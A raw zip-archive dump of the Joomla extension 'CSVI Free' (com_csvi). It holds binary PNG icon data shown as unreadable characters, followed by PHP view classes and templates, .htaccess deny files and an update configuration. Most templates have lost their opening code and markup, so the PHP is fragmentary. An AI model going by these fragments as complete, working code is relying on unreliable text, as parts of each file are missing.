/ĤM|'>ht4BbL4'i(!1z#U Жnﻳ3?̜}9ZXu9 Ӿ %LČ.6';D V6l@p0 @~Hr4VoPJRml@2lM8A Ric TTATPB:`#Ќ~؋ %"\F<-!cfAdԈp eY(S$ -@ a+$bZ5^TgyM55)NK l" Y- RfR00k8D@!2 k I !]Q9P(EU~k"۰nk Ib#?j?ucp<0=lm)UCxmIh%N~ #UPn:)=ROH<Ⱦ;iu+`Aj&$܆E޳Bŝ 5R2Տo빼:tv R#v9FD`2@qGTm@Ŷr}Q G<Պ-}Z|hM"<'(eR(w LE[n!^+1Uu=MkTGv)}rQBX⏂XkdS]T-&|`Q.`S[v7ٛwΘ WptE׌1  %SJq޼]:V҉r;K ˰Ps^|ܝHQne"fiqŒtKx`+OEYքp D?F VSE`$a>6fn?s=[:dH0HˎOt g8w"dO(@Iج|vSK(1$ZPZ$>p6iH! z1F/C6£/ < Iy㐴пXPLҁ($E_~mz]gU$IyCV 4к>QAT!l>"Ew/[HbH+h{uwXz2$sBUqVPPa]x9BI//3N4|[\5r#ZSꑱHy2Jc $^o;'B ǞMsDgGϋy1>.Do.X$a 'fR^'CT$1e*M 2 LJoI?px=1 A<(Xnc_a |cNw[_pF@DŽp_U$-VJ|P^$a i=C R,,[UxYDJ|3xƜpHyzΘ5+@.o/$>L6XX籽 ؅c[±m':+0jDDZwF^-ʷk xSm4‚IENDB`PKs>\q)com_csvi/liveupdate/assets/current-32.pngnuW+APNG  IHDR szz pHYs  IDATX ŖPT}쏷n!AMaC$m"t&hLm"2)d4i)G8qL?Ѡ rYDxxwo}dA4zww;s?s]D){ٸ{ g.V0t-ݺ u u+XwE܀opO=_f<P h^o+*g7`sH9Dk(ay'a,|\T*{*ti_PjI`v~χ7Sp*(~//bZR~dJG/3ჴy%Д!>yU2̹+ޠ mf85?a*:Arv_l ^M[YM3RF^pjtEZXo?wp|~dݮ YƲ~V=SZ"aT( .o|pVBiGDr/lr'ďA}]θ]W`5(Nj|~SsU=;R^1<}}źy߅ճQJ|αwoz_s~?ïEnA5;O;:}:FGm錄mO@pÍcw2i`Αl1\2;\\&com_csvi/liveupdate/assets/fail-24.pngnuW+APNG  IHDRw= pHYs  IDATH mVmlS~ιc;q $1 #FƠ&Ԋ jGºǴNU'X;m մ`CZʀB)]nI khY~{P*Z^sy>ǹ|N"qh@ )&0\>I4COa%JXLK|FzJGm-=ֶ 5XWf.71;4tm'./]1 tK^b۾jݱEx҃&@\ܸ]_.&u)o ~pWUuQ(L6L-`< p??:[x;$>^/Knή{kxv`&|6+Xʺe)TܼO tmv>||U>~Y͏}s]jU t+B!q̐ǯ~φe& Y8,L,M-m}eΝP__z֤WNoܨQ&NS%zd3Q;ܹ^M}a .nJ<>ljR6/ȃ H"Cjewܒk+ғhj#dlvq3؇ IvF7F131ʊ%E^63#c7.>5)Ē6.Y{unbT}6ˈ ~\P3jHzũk#-gο1mˎ~0#OX-7DѨTi#%sfͣy/G LcCCp3ł+ဪ^w\G匪ֵU25>+SmXSlٵ\) ϡ+:aC7By$3sx|ӎ-Pmv%[TQSj{ MljhR|o2{脳 -6Rs"IUmg)քÕ SI"6b9(HìKYyiYE'?lCvӎl'K.dTUYīw+7 v.,UH$9 #fvipA9O4zӲ.VfBkCCkyD\ǭRҬv$|YL.*A)CD"^tjX5vFt_ dr Ҫb>4?L}}gɱ~E*Ր+f$odN=\M,+0ɻ [+7ǵ~RL}kDY=:Y~kWṲ;A 4ixytoSHSeMM[W@pW[bme=+H;,#{ E&v?^SBi&qn9Pu2B>#=C)lztM}cf"=Đ>A>뾔Kkifi9ѠS0C!Ţ*RD[Ig谬aV;[|nX,?Ϯ[hFCM %7řŕ8\8As¹|7w %DS-Ȗ{MK4dtŵ@vEo>bpҀ͓ww D:`50P.\^|_. 4Ʒ$;GIENDB`PKs>\^ON&com_csvi/liveupdate/assets/warn-24.pngnuW+APNG  IHDRw= pHYs  NIDATH UkUv[kX`PM . >Pė}RD((m!- FPb 6`c-5MnwMi?ffx؝;ss(c ԇ*ܾ6l՚,ޓ( v3pE>ː BF.>Tnbש4uX4a8M`߃RhL<CP ]$>U`~`卌ϤiRHMNFe(o.9\Ь X 1= Vp%z;gTŁPtCmQ[Ϋ*YǦgUgvKƇ,=s0_Y6UsFe1rKP2K ;Q[ɿ2nM3A ]%Xghpg/!j A2=K_ZU(jW74)6U4#dp@)'@4lvU) i+]Śm4L@Qssj6nvZ+_ձi%*d`b8֏7g@Y6U NL5S;*f#;u[;-3"96 o9ޓ9TattQ#I6BﱁdFnvy.Bnͣf$Z q.]f YXA8A&2}S@~#q|ER{9|;zܸ m 5,U0Ġo ~=t0"Gκsѿr*!h"x9p@~1>)6sWW?E_t5aK`K)8އBm:Cb|Mz9cv>3xO=G(z~b'# -vH5k.jPӱ5Af+ox a >ۋGY{ǰ\km‹i)e?uLd7}W<ijqcX痢Ki(tq<,d,JޅE| 0RHl ]|ĵfA͚q Yڛ!IENDB`PKs>\^^,com_csvi/liveupdate/assets/liveupdate-48.pngnuW+APNG  IHDR00W pHYs  IDAThZ p\ř1}K6Ɩm"A. %d@@%Y6VEq2+ !˧oɺl3:~G11ð=͌}W̨BI,k3ݧ敃Np.TZ$\L:('1L TW\o?TxfZ8_W}A /\zVۉcKuJd!Q.*p< zH&og+|~"@  zn'V{|qiB425"$ nLu`T=A)?ڦ{<5zztQMʙ/=W' ltZP, 0v3c~NE\R&gx_'IfbEpQ# \Tm8l)Pqݍc7Bwy XQ-W9%??,"J>P;$7u f8GiJDJ^v61"jwةA HIHĒYNIr=bf kav-Mgn&%/]4w4$ZLqsl*idOArnL|/SGLQdydrd:h h^{ẄKxX>PrkUj:.9ʼOtxKT{lH |-+6h~&9ڲÉ:czN++o#< y؃}^14np'uC HBkJr?hTJHr[ ܲT6"g NQa -j ^)? ~-ȉdJ  <#@[| VUII/TsG{6Dn[2`ףCv[/R9ԗף}b?\=%x69nBpS E<: B}):>O,]\&/~a\°~5kPU,YC-ίzWOd w{)F*/.Hǿw<֋fTⲢma3ch| zgr \!~̀y$7%Flw.ާ_Xz ;RHV_ `eQ >pWLnZ\Smc=ONv3KeYgop0 )/)1KqVնΩNIn R!p&`3SJH]bc%P/ ^"ֈӑ !/7VZg Fnq&J2w;H$d:g>1i,07w}[^a'lM%ߪj˾?7t+fddTI2E^(TBͳs&)!2G~(ږ%}#\g#BQpn38Gnw_?0I|M𣹞?(g,xto -1wP!Wk&yY)GgosPHb! XY: @)>9t詿Xꡍ/=im&c;%!7moTDt_!XFXXZdMA@Bfp\ѸB/'n|+T阛c1`+{WO$]YTB<MeH<=ZG\J ! aSe+$aԿ0xgY뭦]gS =EΥe`=Ej 0+yU|w i.L+6 CBH Tf(%a3x-TZ?`fGعj]?̟z˺ǃ'sCBiЀ76M,7:T`Vbn մkL B*Rй$mPӌ3ffISOIFoۼ) 3 ~­,!lkCCqe L]x¢8xmY@lC^u!qhԈɿq[Fhu}݀|OΒ]dgC>[h|Lzb[پy{~Е,$֪XS*X/| 60^^wq:YD:,<Xlњf_,yY~IqAnCJQ,k.D|/-_ues3U%k~xd{8KC!~G=yx0bK=zLKZ/%ˎ].5tuɦ*Há!_Į wTx|d Sl۲hKNCM&6pg7\K+xUw޿G葖 [Cg_FUP%bd C&9>cH)SGt[i*UG<3oYkz{C{ޕUiSr@M8Cfxe7I/ 9ۄĠ("+&O͡C[Pq#҄$ #0 Aնm xd]sfxsMD?XfA(ULc]&IZ^OKR++Ww׆wmw׶oizS كJCjG* odj[ ƺ*#uGcQ<>nD҃rovws1ɉ{l,|ub-+2w~:5UB"ረgD*}}  dz|0 p¼rHhqc 0SԠz"[۱g Хٖ_UU bZʹZq;IʘCo$Si/Y,GN\UUޒakͥ avЛ]$⏂HʃW:>ᇻDt8!n $vȀ$f?+hK+SY8!G*}M8zYƄ)!8r>erl*QC<;&gvX%IH7Cfje^[sMM!8ru;QIB׹8,q /C-7ޜm0w񜞜ܜN&Bj}U3owJάlصS:v8%#e}Nne V@|Ɍerc)uzVPH-/ZK1'i+R׍+'^z\%]8GbCJO lnMCeAi\/qT$com_csvi/liveupdate/assets/ok-24.pngnuW+APNG  IHDRw= pHYs  IDATH mLSWmo@hkaP4$(ʋɾ܊Kd#`lֲ1gt& e0`A hGA!PhK[/lq{9?BXqü@z= 06†_#`q^8Nh%BG9OGTd\a~]'@MykG>Dsx'y;laxRdٹŹ*+`6<\((WX,i(*V?5%-q ˲ՉNٯN>NoN(T01%n\!PD8D~ ֖$i0pXI_\ l8ה 63ql Aw@%<ϠQX@iZvefBRD,gR枦;;5%֦݁hWٗDӂ"sPbzoD)mJd^eNB5nPrZ|ᴴ#DLu{M/d1a#L;e@_ڲmZ*QN`h ޘu-ա~4d446Vm{(6*PC<5ۏ^Ene;4i(c$77/Cp.;4Iz)l?xd>edlx&ɒqbUpqKMUfuSnZJd?FNBvv80p}bmpy{f:C9R4$Zi:ްP(?n.8utt!|p9r'N{; &&"JJˀaldy³hZ2FH9~w,g,"p.B&U=14+ӥ D.ʧdZ$a4Q~JnvKv;(Enhi"܄b3:52>Q?~ej875@> :[n&oZւXQDn05X,*h>̅)|naL|k7CőG_}?5ozCa=k[ 8Ru…+XYj-PyAU{ΡBF?qX"鍊|2b/iG2ar31b} GOZ]4qcIENDB`PKs>\. +com_csvi/liveupdate/assets/nosupport-32.pngnuW+APNG  IHDR szz pHYs   ZIDATX uWkl3Oxk0P3ƴȩI("-hRVi?H-D! $!@B Dv)cH(#,ػ玽ρ]|sϹ>B&']-uufm֭UoȱTABOQjF4s߽ƭD`φ ݻW-|ᩧZL(V# II`!d~uݸ OX{zqڊ&]om*SI6& PP0E',͠xrϵD[>&5MMMqvO{dJ˄"57aHQ8ۭfI8Hl;r$ F>[єɴ+E>.`L8zG:C7vS_jG]͏!…/BE^g4Q,f1l6aYx? ?7/IB& &a%}z~4[{{Ag8W/mݸ1mڴuxvhT3hPFC:D` | Θ$ݽKB2@@G:J@'Hݑ[B-9~c-Or$sL;L| b1*dXO_zEw R/i%hE& yc1GQ((ܵf64_jkMHW"|C!qtZDӼ_BL"`i{"sWVmŕ/˜DAI ٦Ozβ#:& z2]~EJF &F\Q+QxINQ޽4zRiقVΛgw&{d(zu\I 5̐4Ng[xpsr@-B_^M bȜL$_0b CgAj'NaJc*n@bdi8q׬ÇMPvJHs6bV:bE4:`gQK ,Z*#5JE)6,ʁ#]K^KB #vw ͻs(cuDNE |XTDY.Z<q<\:b(앁.YXsDm?5eg֢q8_`4{Nk}]*_TOEKp\`Pӎ)aŧ'.:I ㆁ_ЎTX-g[SCޞ!p0m9 (28h[6}&Q 'LFyf0JA0 fq;FP3'*EzH9H$” M%T cdo7|7#zFDɹlԁ@Ad_cwGqy{z\)l cK_F nlevFNԋtZ+{{ΝkDNFƠ'):m $U@ 뭞.ͯYJ瓂=_2ƭyyב&nb({яw#gF nbJ7JJ')JJJPHOu$d8]dÆ$lL&OA Hk`,(e|(+H&Z':&IBbȹ4p; a剿hƮ@pWĉ}h_ǍNqðXlF`(N,[WwP(4 Θ?p gY _kڗ v*b x H~mjŐM*و0 nѳVۋkAf@#R^;gmҴ NXIUUse3W{? 3wb9IENDB`PKs>\)$com_csvi/liveupdate/assets/.htaccessnuW+A Order allow,deny Deny from all PKs>\#\com_csvi/liveupdate/config.phpnuW+A */ defined('_JEXEC') or die(); /** * Configuration class for your extension's updates. Override to your liking. */ class LiveUpdateConfig extends LiveUpdateAbstractConfig { var $_extensionName = 'com_csvi'; var $_extensionTitle = 'CSVI Free'; var $_updateURL = 'http://www.csvimproved.com/index.php?option=com_ars&view=update&format=ini&id=2'; var $_versionStrategy = 'vcompare'; var $_requiresAuthorization = true; /** var $_storageAdapter = 'component'; var $_storageConfig = array( 'extensionName' => 'com_akeebasubs', 'key' => 'liveupdate' ); */ public function __construct() { parent::__construct(); // Dev releases use the "newest" strategy if(substr($this->_currentVersion,1,2) == 'ev') { $this->_versionStrategy = 'newest'; } } }PKs>\)com_csvi/.htaccessnuW+A Order allow,deny Deny from all PKs>\#o,,com_csvi/views/cron/index.htmlnuW+APKs>\)com_csvi/views/cron/.htaccessnuW+A Order allow,deny Deny from all PKs>\#o,,#com_csvi/views/cron/tmpl/index.htmlnuW+APKs>\9փ%%$com_csvi/views/cron/tmpl/default.phpnuW+A
      cronline; ?>
      PKs>\)"com_csvi/views/cron/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\~O!com_csvi/views/cron/view.html.phpnuW+Ainput; $option = $jinput->get('option'); $data = $jinput->get($option.'.data', array(), 'array'); $from = $jinput->get('from'); // The basics of the cronline $this->cronline = 'php "'.JPATH_COMPONENT_ADMINISTRATOR.'/helpers/cron.php" username="" passwd="" '; // Construct the correct cron switch ($from) { case 'process': if (!empty($data)) { // Load the template handler $this->loadHelper('template'); // Construct the cronline $this->cronline .= $this->get('CronLine'); } else $this->cronline = JText::_('COM_CSVI_NO_CRON_DATA_FOUND'); JToolBarHelper::custom('process', 'csvi_process_32.png', 'csvi_process_32.png', JText::_('COM_CSVI_PROCESS'), false); break; case 'maintenance': // Construct the cronline $this->cronline .= $this->get('CronLineMaintenance'); JToolBarHelper::custom('maintenance', 'csvi_maintenance_32.png', 'csvi_maintenance_32.png', JText::_('COM_CSVI_MAINTENANCE'), false); break; } // Get the panel $this->loadHelper('panel'); // Show the toolbar JToolBarHelper::title(JText::_('COM_CSVI_CRON'), 'csvi_cron_48'); // Display it all parent::display($tpl); } } ?>PKs>\ʿ&&'com_csvi/views/exportfile/view.html.phpnuW+Ainput; // Process the export data $result = $this->get('ProcessData'); if (!$jinput->get('cron', false, 'bool')) { // Load the results $logresult = $this->get('Stats', 'log'); $this->assignRef('logresult', $logresult); // Load the run ID $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $this->assignRef('run_id', $csvilog->getId()); } // Display it all parent::display($tpl); } } ?>PKs>\)(com_csvi/views/exportfile/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\I#"h  *com_csvi/views/exportfile/tmpl/default.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); // Display any messages there are if (!empty($csvilog->logmessage)) echo $csvilog->logmessage; else { $filename = $jinput->get('template_name'); echo JText::sprintf('COM_CSVI_RESULTS_FOR', $filename)."\n"; echo str_repeat("=", (strlen(JText::_('COM_CSVI_RESULTS_FOR'))+strlen($filename)+1))."\n"; if (!empty($this->logresult['result'])) { echo JText::_('COM_CSVI_TOTAL')."\t\t".JText::_('COM_CSVI_RESULT')."\t\t".JText::_('COM_CSVI_STATUS')."\n"; foreach ($this->logresult['result'] as $result => $log) { echo $log->total_result."\t\t".$log->result."\t\t".JText::_('COM_CSVI_'.$log->status)."\n"; } echo JText::sprintf('COM_CSVI_SAVED_FILE', $this->logresult['file_name'])."\n"; } else echo JText::_('COM_CSVI_NO_RESULTS_FOUND')."\n"; } ?>PKs>\#o,,)com_csvi/views/exportfile/tmpl/index.htmlnuW+APKs>\)#com_csvi/views/exportfile/.htaccessnuW+A Order allow,deny Deny from all PKs>\#o,,$com_csvi/views/exportfile/index.htmlnuW+APKs>\)(com_csvi/views/availablefields/.htaccessnuW+A Order allow,deny Deny from all PKs>\#o,,)com_csvi/views/availablefields/index.htmlnuW+APKs>\)-com_csvi/views/availablefields/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\#o,,.com_csvi/views/availablefields/tmpl/index.htmlnuW+APKs>\% /com_csvi/views/availablefields/tmpl/default.phpnuW+Astate->get('list.ordering'); $listDirn = $this->state->get('list.direction'); ?>
      : actions; ?> components; ?> operations; ?> name="filter_idfields" id="filter_idfields" />
      pagination->getResultsCounter(); ?>
      availablefields ); $i < $n; $i++) { $row = $this->availablefields[$i]; ?>
      pagination->getListFooter(); ?>
      pagination->getRowOffset($i); ?> csvi_name; if ($row->isprimary) echo ''.JText::_('COM_CSVI_IS_PRIMARY').''; ?> component_name; ?> component_table; ?>
      PKs>\;6 6 ,com_csvi/views/availablefields/view.html.phpnuW+Aavailablefields = $this->get('Items'); // Load the pagination $this->pagination = $this->get('Pagination'); // Load the user state $this->state = $this->get('State'); if (!$this->get('FieldCheck')) Throw new Exception(JText::_('COM_CSVI_NO_AVAILABLE_FIELDS'), 0); // Get the list of actions $options = array(); $options[] = JHtml::_('select.option', 'import', JText::_('COM_CSVI_IMPORT')); $options[] = JHtml::_('select.option', 'export', JText::_('COM_CSVI_EXPORT')); $this->actions = JHtml::_('select.genericlist', $options, 'jform_options_action', 'onchange="Csvi.loadTemplateTypes();"', 'value', 'text', $this->state->get('filter.action', '')); // Get the list of supported components $this->components = JHtml::_('select.genericlist', CsviHelper::getComponents(), 'jform_options_component', 'onchange="Csvi.loadTemplateTypes();"', 'value', 'text', $this->state->get('filter.component')); // Get the list of template types $model = $this->getModel(); $templates_model = $model->getModel('templates'); $operations = $templates_model->getTemplateTypes($this->state->get('filter.action', 'import'), $this->state->get('filter.component', false)); // Create the operations list $this->operations = JHtml::_('select.genericlist', $operations, 'jform_options_operation', '', 'value', 'name', $this->state->get('filter.operation'), false, true); // Get the panel $this->loadHelper('panel'); // Show the toolbar $this->addToolbar(); // Display it all parent::display($tpl); } /** * Display the toolbar * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function addToolbar() { JToolBarHelper::title(JText::_('COM_CSVI_AVAILABLE_FIELDS'), 'csvi_availablefields_48'); JToolBarHelper::custom('maintenance.updateavailablefields', 'csvi_availablefields_32', 'csvi_availablefields_32', JText::_('COM_CSVI_UPDATE'), false); //JToolBarHelper::help('available_fields.html', true); } } ?>PKs>\#o,,%com_csvi/views/maintenance/index.htmlnuW+APKs>\|i(com_csvi/views/maintenance/view.html.phpnuW+Acomponents = $this->get('Components'); // Get the maintenance options $this->options = $this->get('MaintenanceOptions'); $app = JFactory::getApplication(); $app->setUserState('com_csvi.global.form', false); // Load the results $jinput = JFactory::getApplication()->input; $settings = $jinput->get('settings', null, null); if ($settings->get('log.log_store', 1)) { $this->logresult = $this->get('Stats', 'log'); $this->logmessage = $this->get('StatsMessage', 'log'); } else $this->logresult = false; // Get the panel $this->loadHelper('panel'); // Show the toolbar JToolBarHelper::title(JText::_('COM_CSVI_MAINTENANCE'), 'csvi_maintenance_48'); if ($this->getLayout() != 'log') { JToolBarHelper::custom('cron.cron', 'csvi_cron_32', 'csvi_cron_32', JText::_('COM_CSVI_CRONLINE'), false); JToolBarHelper::custom('', 'csvi_continue_32.png', 'csvi_continue_32.png', JText::_('COM_CSVI_CONTINUE'), false); //JToolBarHelper::help('maintenance.html', true); } else if ($settings->get('log.log_store', 1)) { JToolBarHelper::custom('logdetails.logdetails', 'csvi_logdetails_32', 'csvi_logdetails_32', JText::_('COM_CSVI_LOG_DETAILS'), false); } // Display it all parent::display($tpl); } } ?> PKs>\ *com_csvi/views/maintenance/tmpl/icecat.phpnuW+A
      PKs>\ $@@'com_csvi/views/maintenance/tmpl/log.phpnuW+Alogresult) { ?> logresult['result']) > 0) { foreach ($this->logresult['result'] as $result => $log) { ?>
      logresult['action_type']); ?>
      total_result; ?> result; ?> status); ?>
      operation[0].'_LABEL')); echo '
      '; echo '
      '; echo JText::_('COM_CSVI_NO_LOG_EXPLAIN'); } ?> PKs>\(+com_csvi/views/maintenance/tmpl/default.phpnuW+A
      components, 'component', 'onchange=CsviMaint.loadOperation(this.value)','value', 'text', null, false, true); ?> options, 'operation', 'onchange=CsviMaint.loadOptions(this.value)'); ?>
      PKs>\))com_csvi/views/maintenance/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\#o,,*com_csvi/views/maintenance/tmpl/index.htmlnuW+APKs>\ b:com_csvi/views/maintenance/tmpl/default_sortcategories.phpnuW+A
      • languages, 'language'); ?>
      PKs>\(com_csvi/views/maintenance/tmpl/cron.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); // Display any messages there are if (!empty($csvilog->logmessage)) echo $csvilog->logmessage; else { echo JText::sprintf('COM_CSVI_RESULTS_FOR', JText::_('COM_CSVI_'.strtoupper(JRequest::getCmd('task')).'_LABEL'))."\n"; echo str_repeat("=", (strlen(JText::_('COM_CSVI_RESULTS_FOR'))+strlen(JRequest::getCmd('task'))+1))."\n"; if (!empty($this->logresult['result'])) { echo JText::_('COM_CSVI_TOTAL')."\t\t".JText::_('COM_CSVI_RESULT')."\t\t".JText::_('COM_CSVI_STATUS')."\n"; foreach ($this->logresult['result'] as $result => $log) { echo $log->total_result."\t\t".$log->result."\t\t".JText::_('COM_CSVI_'.$log->status)."\n"; } } else echo JText::_('COM_CSVI_NO_RESULTS_FOUND')."\n"; } ?>PKs>\w)3com_csvi/views/maintenance/tmpl/availablefields.phpnuW+A
      PKs>\# 2com_csvi/views/maintenance/tmpl/default_icecat.phpnuW+A
      PKs>\lNQ""'com_csvi/views/maintenance/view.raw.phpnuW+AloadTemplate('icecat'); break; case 'sortcategories': $this->languages = $this->get('Languages'); echo $this->loadTemplate('sortcategories'); break; } } } ?> PKs>\)$com_csvi/views/maintenance/.htaccessnuW+A Order allow,deny Deny from all PKs>\(G$ $ (com_csvi/views/maintenance/view.json.phpnuW+Ainput; $task = strtolower($jinput->get('task')); switch ($task) { case 'icecatindex': case 'updateavailablefields': JToolBarHelper::custom('cancelimport', 'csvi_cancel_32', 'csvi_cancel_32', JText::_('COM_CSVI_CANCEL'), false); // Display it all parent::display($tpl); break; case 'icecatsingle': $this->get('IcecatSingle'); $result['view'] = ''; // Get the number of records processed $result['records'] = $jinput->get('linesprocessed', 0, 'int'); if ($jinput->get('finished', false, 'bool')) { $result['process'] = false; $result['url'] = JURI::root().'administrator/index.php?option='.$jinput->get('option').'&task=logdetails.logdetails&run_id[]='.$jinput->get('run_id', 0, 'int'); } else { $result['process'] = true; } // Output the results echo json_encode($result); break; case 'updateavailablefieldssingle': $continue = $this->get('AvailableFieldsSingle', 'availablefields'); $result['view'] = ''; // Get the number of records processed $result['table'] = $jinput->get('updatetable', '', 'string'); if (!$continue) { $result['process'] = false; $result['url'] = JURI::root().'administrator/index.php?option='.$jinput->get('option').'&task=logdetails.logdetails&run_id='.$jinput->get('run_id', 0, 'int'); // Store the log results $this->get('finishProcess'); } else { $result['process'] = true; } // Output the results echo json_encode($result); break; } } } ?> PKs>\#o,,com_csvi/views/index.htmlnuW+APKs>\)#com_csvi/views/logdetails/.htaccessnuW+A Order allow,deny Deny from all PKs>\ //'com_csvi/views/logdetails/view.html.phpnuW+Alogmessage = $this->get('Items'); $this->setModel(JModel::getInstance('log', 'CsviModel')); $this->logresult = $this->get('Stats', 'log'); // Load the pagination $this->pagination = $this->get('Pagination'); // Load the user state $this->state = $this->get('State'); // Set the Run ID $jinput = JFactory::getApplication()->input; $this->run_id = $jinput->get('run_id', 0, 'int'); // Set the actions $this->list['actions'] = $this->get('Actions'); $this->list['results'] = $this->get('Results'); // Get the panel $this->loadHelper('panel'); // Add toolbar JToolBarHelper::title(JText::_('COM_CSVI_LOG_DETAILS'), 'csvi_logdetails_48'); JToolBarHelper::custom('logdetails.cancel', 'csvi_cancel_32', 'csvi_cancel_32', JText::_('COM_CSVI_BACK'), false); // Display it all parent::display($tpl); } } ?> PKs>\)(com_csvi/views/logdetails/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\.؍*com_csvi/views/logdetails/tmpl/default.phpnuW+Astate->get('list.ordering'); $listDirn = $this->state->get('list.direction'); ?>
      logresult['action_type'])); ?>
      logresult['file_name']; ?>
      logresult['total_records']; ?>
      logresult['run_cancelled']) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); ?>
      logresult['debug']; ?>
      logresult['debugview'])) { echo '
      '.$this->logresult['debugview'].'
      '; } ?>
      logresult['result'])) { ?> logresult['result'] as $result => $log) { ?>
      total_result; ?> result; ?> status)); ?>
      list['actions']; ?> list['results']; ?>
      pagination->getResultsCounter(); ?>
      logmessage) { foreach ($this->logmessage as $key => $log) { ?>
      pagination->getListFooter(); ?>
      line; ?> status)); ?> result)); ?> description); ?>
      PKs>\)com_csvi/views/logdetails/tmpl/index.htmlnuW+APKs>\$com_csvi/views/logdetails/index.htmlnuW+APKs>\)com_csvi/views/csvi/.htaccessnuW+A Order allow,deny Deny from all PKs>\$com_csvi/views/csvi/tmpl/default.phpnuW+A
      cpanel_images->process; ?> cpanel_images->replacements; ?> cpanel_images->log; ?> cpanel_images->maintenance; ?>
      cpanel_images->availablefields; ?> cpanel_images->settings; ?> cpanel_images->about; ?> cpanel_images->help; ?> cpanel_images->install; ?>
      PKs>\#o,,#com_csvi/views/csvi/tmpl/index.htmlnuW+APKs>\)"com_csvi/views/csvi/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\#cWW!com_csvi/views/csvi/view.html.phpnuW+Aauthorise('core.admin', 'com_csvi')) { JToolBarHelper::preferences('com_csvi'); } //JToolBarHelper::help('control_panel.html', true); // Assign data for display $helper = new CsviHelper(); $this->cpanel_images = $helper->getButtons(); // Display the page parent::display($tpl); } } ?> PKs>\#o,,com_csvi/views/csvi/index.htmlnuW+APKs>\Z Z )com_csvi/views/templatetype/view.html.phpnuW+Aform = $this->get('Form'); $this->item = $this->get('Item'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Toolbar for product editing * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return void * @since 1.0 */ protected function addToolbar() { // Hide the mainmenu JRequest::setVar('hidemainmenu', true); $user = JFactory::getUser(); $isNew = ($this->item->id == 0); $checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == $user->get('id')); JToolBarHelper::title(JText::_('COM_CSVI_PAGE_'.($checkedOut ? 'VIEW_TEMPLATETYPE' : ($isNew ? 'ADD_TEMPLATETYPE' : 'EDIT_TEMPLATETYPE'))), 'csvi_templates_48.png'); if (!$checkedOut) { JToolBarHelper::apply('templatetype.apply', 'JTOOLBAR_APPLY'); JToolBarHelper::save('templatetype.save', 'JTOOLBAR_SAVE'); JToolBarHelper::custom('templatetype.save2new', 'save-new.png', 'save-new_f2.png', 'JTOOLBAR_SAVE_AND_NEW', false); } // If an existing item, can save to a copy. if (!$isNew) { JToolBarHelper::custom('templatetype.save2copy', 'save-copy.png', 'save-copy_f2.png', 'JTOOLBAR_SAVE_AS_COPY', false); } if (empty($this->item->id)) { JToolBarHelper::cancel('templatetype.cancel', 'JTOOLBAR_CANCEL'); } else { JToolBarHelper::cancel('templatetype.cancel', 'JTOOLBAR_CLOSE'); } } } ?>PKs>\KЗ(()com_csvi/views/templatetype/tmpl/edit.phpnuW+A
      • form->getLabel('template_type_name'); ?> form->getInput('template_type_name'); ?>
      • form->getLabel('template_type'); ?> form->getInput('template_type'); ?>
      • form->getLabel('component'); ?> form->getInput('component'); ?>
      • form->getLabel('options'); ?> form->getInput('options'); ?>
      • form->getLabel('url'); ?> form->getInput('url'); ?>
      PKs>\wtW+com_csvi/views/templatetype/tmpl/index.htmlnuW+APKs>\)*com_csvi/views/templatetype/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\#o,,&com_csvi/views/templatetype/index.htmlnuW+APKs>\)%com_csvi/views/templatetype/.htaccessnuW+A Order allow,deny Deny from all PKs>\)%com_csvi/views/replacements/.htaccessnuW+A Order allow,deny Deny from all PKs>\)*com_csvi/views/replacements/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\#o,,+com_csvi/views/replacements/tmpl/index.htmlnuW+APKs>\(Ch  ,com_csvi/views/replacements/tmpl/default.phpnuW+Astate->get('list.ordering'); $listDirn = $this->state->get('list.direction'); ?>
      items)) { foreach ($this->items as $i => $item) { ?>
      pagination->getListFooter(); ?>
      id); ?> checked_out) { echo JHtml::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'replacements.'); echo $this->escape($item->name); } else { ?> escape($item->name); ?> findtext, 0, 100); if (strlen($item->findtext) > 100) echo '...';?> replacetext, 0, 100); if (strlen($item->replacetext) > 100) echo '...'; ?> method; ?>
      PKs>\ƫ)com_csvi/views/replacements/view.html.phpnuW+Aitems = $this->get('Items'); // Get the pagination $this->pagination = $this->get('Pagination'); // Load the user state $this->state = $this->get('State'); // Get the panel $this->loadHelper('panel'); // Show the toolbar JToolBarHelper::title(JText::_('COM_CSVI_REPLACEMENTS'), 'csvi_replacement_48'); JToolBarHelper::addNew('replacement.add'); JToolBarHelper::editList('replacement.edit'); JToolBarHelper::deleteList('', 'replacements.delete'); //JToolBarHelper::help('about.html', true); // Display it all parent::display($tpl); } } ?>PKs>\#o,,&com_csvi/views/replacements/index.htmlnuW+APKs>\#o,,,com_csvi/views/templatetypes/tmpl/index.htmlnuW+APKs>\,c c -com_csvi/views/templatetypes/tmpl/default.phpnuW+Astate->get('list.ordering'); $listDirn = $this->state->get('list.direction'); ?>
      templatetypes as $i => $template) { ?>
      pagination->getListFooter(); ?>
      id); ?> url)) echo JHtml::_('link', JRoute::_($template->url), JText::_('COM_CSVI_'.$template->template_type_name), 'target="_blank"'); else echo JText::_('COM_CSVI_'.$template->template_type_name); ?> template_type_name).'_DESC'); ?> component), $template->component, 'target="_blank"'); ?> template_type)); ?>
